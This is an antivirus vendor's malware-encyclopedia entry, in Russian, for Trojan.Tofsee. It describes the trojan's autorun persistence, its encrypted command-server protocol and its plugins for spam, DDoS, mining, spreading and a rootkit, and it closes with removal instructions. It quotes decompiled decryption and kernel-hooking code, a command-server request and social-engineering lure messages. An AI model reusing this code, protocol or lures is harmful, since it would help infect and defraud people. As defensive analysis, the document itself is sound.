Підтримка
Цілодобова підтримка | Правила звернення

Зателефонуйте

Глобальна підтримка:
+7 (495) 789-45-86

Поширені запитання |  Форум |  Бот самопідтримки Telegram

Ваші запити

  • Всі: -
  • Незакриті: -
  • Останій: -

Зателефонуйте

Глобальна підтримка:
+7 (495) 789-45-86

Зв'яжіться з нами Незакриті запити: 

Профіль

Профіль

Trojan.Tofsee

Добавлен в вирусную базу Dr.Web: 2014-05-11

Описание добавлено:

Многокомпонентный троянец с широким функционалом, предназначен для рассылки спама, способен выполнять множество других функций. После запуска сохраняет свою копию в папке:

%USER%\<rnd>.exe

Потом регистрирует ссылку на этот файл в ветви системного реестра, отвечающего за автозапуск приложений:

Software\Microsoft\Windows\CurrentVersion\Run MSConfig=%USER%\<rnd>.exe.

Затем троянец пытается встроиться в запущенный процесс svchost.exe.

После завершения установки Trojan.Tofsee соединяется с управляющим сервером и получает от него список узлов, откуда загружает свои дополнительные модули и шаблоны для спам-рассылки:

screen

Основные функции для работы с сетью и протоколом SMTP реализованы в основном модуле Trojan.Tofsee. После успешного подключения к управляющему серверу тот отсылает троянцу ключи для расшифровки данных.

unsigned __int8 __cdecl decrypt_bin(BYTE *in, int size)
{
  unsigned __int8 r; // al@1
  BYTE *in_; // esi@1
  unsigned __int8 k; // dl@1
  r = size;
  in_ = in;
  for ( k = 0xC6u; in_ < &in[size]; k = r )
  {
    r = *in_ ^ 0xC6;
    *in_ = k ^ (0x20 * *in_ | (*in_ >> 3));
    ++in_;
  }
  return r;
}

Данные имеют следующую структуру:

#pragma pack(push, 1)
struct tmsg
{
  BYTE key[128];
  _DWORD d33; //1
  _DWORD d34; //1
  _DWORD d35; //0x19000
  _DWORD d36; //0
  _DWORD ip_addr;
  _DWORD srv_time;
  BYTE rnd[0x30];
};
#pragma pack(pop)

Затем троянец передает на командный сервер данные о себе, пакет имеет заголовок и блок данных:

#pragma pack(push, 1)
struct thead
{
  _DWORD size;
  _DWORD size_decompress;
  _DWORD crc32;
  _BYTE flag_compress; (2 - compress)
  DWORD op;
  DWORD d2;
  DWORD d3;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct tbotinfo
{
  DWORD flags_upd; //0
  DWORD d1; //0
  _DWORD id;
  _DWORD f_45h; //0x45
  _DWORD dword10; //0
  _DWORD net_type; //0x1F
  _DWORD VM;
  _DWORD f_0Bh; //0xB
  _DWORD dword20; //0
  DWORD d10; //0
  _DWORD lid_file_upd; //0
  _DWORD tickcount;
  DWORD tickcount_delta;
  _DWORD born_date;
  _DWORD localip;
  DWORD host_bitflags; //0
  DWORD d9; //0
  _BYTE byte44;//0
  _BYTE os; //0x51
  BYTE unk[0x2E]; //00000...
};
#pragma pack(pop)

Данные и заголовок шифруются ключом, содержащимся в теле троянца, и ключом, принятым от сервера. Сервер передает троянцу задание, содержащее команды для последующего выполнения.

#pragma pack(push, 1)
struct theadplug
{
  DWORD op;
  BYTE name[0x10];
  DWORD crc32;
  DWORD size;
  DWORD d8;
  DWORD flag;
};
#pragma pack(pop)

В настоящий момент Trojan.Tofsee может загружать с удаленных серверов 17 подключаемых модулей, реализованных в виде динамических библиотек.

antibot.dll

Модуль, предназначенный для очистки инфицированного ПК от троянцев и других вредоносных программ (за исключением, разумеется, самого Trojan.Tofsee). Модуль реализует следующие функции:

  • рекурсивный поиск файлов;
  • рекурсивный поиск заданного значения по ветвям реестра;
  • перечисление процессов;
  • перечисление мьютексов;
  • поиск заданного значения в ветви реестра Browser Helper Objects.

Trojan.Tofsee передает данному плагину конфигурационный файл, содержащий сведения о вредоносных программах, которые следует удалить.

blist.dll

Модуль для проверки правильности адресов удаленных узлов, передаваемых ему в виде блока конфигурационных данных. В исследованном образце имеются характерные строки:

services
period
blist_cfg
%u.%u.%u.%u.%s
localcfg
\log_%s.txt
c:\log_%s.txt
plg_blist
WSOCK32.dll
Sleep
InterlockedExchange
GetTickCount
CloseHandle
TerminateThread
lstrlenA
lstrcmpiA
CreateThread
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
blist.dll
plg_init

ddosR.dll

Плагин для реализации DDoS-атак. Способен реализовывать два вида атак: http flood и syn flood. Syn-пакеты отправляются через специальный драйвер, к которому плагин подключается по символической ссылке:

\\.\PassThru
grabb

Зашифрованный Trojan.PWS.Pony.5.

webb.dll

Модуль для журналирования данных браузера Microsoft Internet Explorer. Извлекает из своего тела и встраивает в процесс браузера библиотеку IEStub.dll, управляется отдельным конфигурационным файлом, имеющим следующие параметры:

webb_cfg
version
stor_data.max_size
stor_data.max_live
doc_timeout

img.dll

Модуль для работы с графическими файлами, загружает изображения в специальные структуры для дальнейшей работы других плагинов. Характерные строки:

%s.%s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Plugin restarted
img_callback: Loaded value='%s' base64 size=%d macr id=%d
img_callback: base64_encode error for block name='%s'
img_callback: Delete value='%s' macr id=%d
img_callback: required config version=1
img_callback: Wrong value of param '%s.name'
prefix
name
macroses
version
img_cfg
img_handler: Can't replace value size=%d. Buffer size=%d very small
\log_%s.txt
c:\log_%s.txt
plg_img
lstrcmpiA
lstrlenA
Sleep
InterlockedExchange
GetTickCount
lstrcmpA
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
img.dll
plg_init

locsR.dll

Модуль извлекает почтовые адреса из Internet Account Manager и PStoreCreateInstance, формирует адрес отправителя в виде %NAMEPC%@mail.ru и пытается отправить сообщения по созданному списку.

miner.dll

Плагин загружает предназначенного для добычи криптовалюты Bitcoin троянца Trojan.BtcMine.148, устанавливает его и передает необходимые параметры при запуске.

protect.dll

Модуль устанавливает в папку system32\drivers\ вредоносную программу Trojan.Siggen.18257 в виде файла со случайным именем и расширением .sys, после чего запускает его. Этот вредоносный драйвер перечисляет следующие элементы:

NTSTATUS set_FileSystem()
{
  NTSTATUS r; // eax@1
  char v1; // [sp+4h] [bp-35Ch]@3
  UNICODE_STRING Buffer; // [sp+20Ch] [bp-154h]@2
  WCHAR SourceString; // [sp+310h] [bp-50h]@1
  UNICODE_STRING DestinationString; // [sp+328h] [bp-38h]@1
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+330h] [bp-30h]@1
  ULONG Context; // [sp+348h] [bp-18h]@2
  ULONG ReturnLength; // [sp+34Ch] [bp-14h]@2
  NTSTATUS v8; // [sp+350h] [bp-10h]@1
  UNICODE_STRING Destination; // [sp+354h] [bp-Ch]@3
  HANDLE DirectoryHandle; // [sp+35Ch] [bp-4h]@1
  decrypt((int)&SourceString, (int)&FileSystem, 12);
  RtlInitUnicodeString(&DestinationString, &SourceString);
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 64;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  r = ZwOpenDirectoryObject(&DirectoryHandle, 1u, &ObjectAttributes);
  v8 = r;
  if ( r >= 0 )
  {
    if ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 1u, &Context, &ReturnLength) )
    {
      do
      {
        Destination.Buffer = (PWSTR)&v1;
        Destination.Length = 0;
        Destination.MaximumLength = 520;
        RtlAppendUnicodeToString(&Destination, &SourceString);
        RtlAppendUnicodeToString(&Destination, &Source);
        RtlAppendUnicodeStringToString(&Destination, &Buffer);
        set_pdo_hook0(&Destination);
      }
      while ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 0, &Context, &ReturnLength) );
    }
    memset(&SourceString, 0, 0x18u);
    ZwClose(DirectoryHandle);
    r = v8;
  }
  return r;
}

И на каждый полученный объект устанавливает собственный обработчик:

int __stdcall set_pdo_hook0(PUNICODE_STRING file)
{
  int v1; // edi@1
  v1 = ObReferenceObjectByName(file, 64, 0, 0x80000000, IoDriverObjectType, 0, 0, &file);
  if ( v1 >= 0 )
  {
    set_pdo_hook((PDRIVER_OBJECT)file);
    ObfDereferenceObject(file);
  }
  return v1;
}
NTSTATUS __stdcall set_pdo_hook(PDRIVER_OBJECT pdo)
{
  NTSTATUS r; // eax@1
  struct_5 *v2; // eax@4
  struct_5 *v3; // ebx@4
  NTSTATUS v4; // [sp+4h] [bp-8h]@1
  struct_4 *v5; // [sp+8h] [bp-4h]@1
  r = search_pdo(pdo, &v5);
  v4 = r;
  if ( r >= 0 )
  {
    if ( v5 )
    {
      r = 0;
    }
    else
    {
      v2 = (struct_5 *)ExAllocatePoolWithTag(0, 0xECu, 0x72746B4Du);
      v3 = v2;
      if ( v2 )
      {
        memset(v2, 0, 0xECu);
        v3->pdo = pdo;
        memcpy(v3->func1, pdo->MajorFunction, sizeof(v3->func1));
        memcpy(v3->func2, pdo->MajorFunction, sizeof(v3->func2));
        v3->func2[0] = (DWORD)MajorFunction0;
        swap_pdo_func(pdo, v3->func2);
        sub_80481776(v3);
        r = v4;
      }
      else
      {
        r = -1073741670;
      }
    }
  }
  return r;
}

Обработчик скрывает элементы с именем System.

proxyR.dll

Модуль, реализующий функции http- и socks5-прокси. Прокси-серверу передается конфигурационный файл:

screen

smtp.dll

Модуль предназначен для формирования и рассылки почтовых сообщений. Использует встроенный скриптовый язык для формирования сообщений и рассылает их по протоколу HTTPS. SSL-шифрование реализовано посредством Microsoft Unified Security Protocol Provider.

snrpR.dll

Библиотека для перехвата и анализа трафика на низком уровне, использует для этого специальный драйвер. Ищет в потоке данных информацию, передаваемую по протоколам FTP и SMTP, может подменять адреса и тело сообщений.

spread1.dll

Плагин используется для новых заражений. Умеет отправлять сообщения в Skype, а также через социальные сети Twitter, Facebook, «ВКонтакте». Отправляемые сообщения строятся по шаблону, который передается в конфигурационном файле. Шаблон имеет следующий вид:

vk.message1 %SPRD_TEXT1|%LANG_ID| %SPRD_URL3

Сообщения пользователям социальных сетей отправляются с учетом используемого ими национального языка. Например, русскоязычным пользователям рассылаются следующие сообщения:

Хай. Зацени свои интимные фотки :)
Привет! Офигеть... Неуж-то это ты?!
Привет друг) Попалился ты однако конекретно. Это ж ты?
Офигеть! Это ты? Это конкретное палево ч?
Ты идиот? Зачем таки? фотки выкладывать в сеть??
Спецом выложили эту фотку, где ты выглядишь как шлюха?))
Жесть!! Как можно было так спалиться?!
Твои родители уже видели?
5ли эту твою фото с вечеринки? ггг)
Вот это да! Ты прикалываешься? Такое фото выложить...)

В тексте сообщения приводится ссылка на страницу, где потенциальная жертва якобы может ознакомиться с компрометирующими ее видеозаписями или фотографиями. Однако для просмотра этого контента пользователю предлагается загрузить плагин для браузера, под видом которого распространяется Trojan.Tofsee.

screen

Для отправки сообщений на сайты Twitter, Facebook и «ВКонтакте» модуль использует данные сессии из cookies браузеров Microsoft Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome. В программу Skype сообщения отсылаются с помощью нажатия кнопок в окне самого приложения. Модуль также умеет распознавать защиту captcha на сайте социальной сети Facebook — для этого она отправляется на сервер, где распознается, после чего троянец получает текст для ввода с соответствующую экранную форму.

spread2.dll

Плагин для заражения съемных flash-накопителей: сохраняет Trojan.Tofsee в Корзине, в корневой папке съемного накопителя создает файл autorun.inf. Заражение выполняется по команде с управляющего сервера.

sys.dll

Модуль для обновления ядра Trojan.Tofsee. Выполняет запросы в соответствии с заданными в конфигурационном файле параметрами:

POST /tsone/ajuno.php HTTP/1.1
Host: 111.121.*.*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://111.121.*.*/tsone/ajuno.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
u=name03&p=3sRd6Nf8H&l=11

Если в качестве входного параметра не указано значение «l», с управляющего сервера загружается следующий графический файл:

screen

Для Windows с версией ядра 5.1 и 5.2 получает адрес PsInitialSystemProcess и читает адрес ядра следующим образом:

NTSTATUS __stdcall SysDbgCopyMemoryChunks_0(BYTE *va, BYTE *buf, int size)
{
  struct_1 InputBuffer; // [sp+0h] [bp-Ch]@1
  InputBuffer.va = va;
  InputBuffer.buf = buf;
  InputBuffer.size = size;
  return ZwSystemDebugControl((DEBUG_CONTROL_CODE)8, &InputBuffer, 0xCu, 0, 0, 0);// SysDbgCopyMemoryChunks_0
}

Таким образом модуль получает указатель на EPROCCESS.

text.dll

Плагин обрабатывает конфигурационные шаблоны и соответствующим образом формирует их в памяти.webmR.dll

В данном модуле реализован скриптовый язык для создания рассылаемых троянцем писем. Пример скрипта:

C pop.mail.yahoo.com:995
X
R
S ya_pop_01.txt
o ^+OK
W """USER __S(ACC)__\r\n"""
R
S ya_pop_02.txt
o ^+OK
W """PASS __S(PASSWD)__\r\n"""
R
S ya_pop_03.txt
I L_END2_YA """pop not allowed"""
I L_END2_YA """invalid user/password"""
I L_END2_YA """mailbox could not be opened"""
o ^+OK
i L_END_YA """has """
i L_END_YA """ messages"""
p NUM """has """ """ messages"""
+ '__v(NUM)__'
v CNT 1
L L_LOOP_EMAILS_YA
v COMP __A(1|__v(CNT)__,>,__v(NUM)__)__
u L_END_YA 1 __v(COMP)__
v COMP __A(1|__v(CNT)__,>,50)__
u L_END_YA 1 __v(COMP)__
W """TOP __v(CNT)__ 12\r\n"""
R
S ya_pop_msg__v(CNT)__a.txt
o ^+OK
I L_RECEIVED_YA """From:"""
p SIZE """+OK """ """ byte(s)"""
R __v(SIZE)__
S ya_pop_msg__v(CNT)__b.txt
o From:
L L_RECEIVED_YA
i L_SKIP_EMAIL_YA """This is an automatically generated Delivery Status Notification."""
+ h
p OTLUP """This is an automatically generated Delivery Status Notification."""
h __v(OTLUP)__
W """DELE __v(CNT)__\r\n"""
R
S ya_pop_msg__v(CNT)__c.txt
o ^+OK
L L_SKIP_EMAIL_YA
v CNT __A(1|__v(CNT)__,+,1)__
J L_LOOP_EMAILS_YA
L L_END_YA
W """QUIT\r\n"""
R
S ya_pop_04.txt
o ^+OK
L L_END2_YA
E 1

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке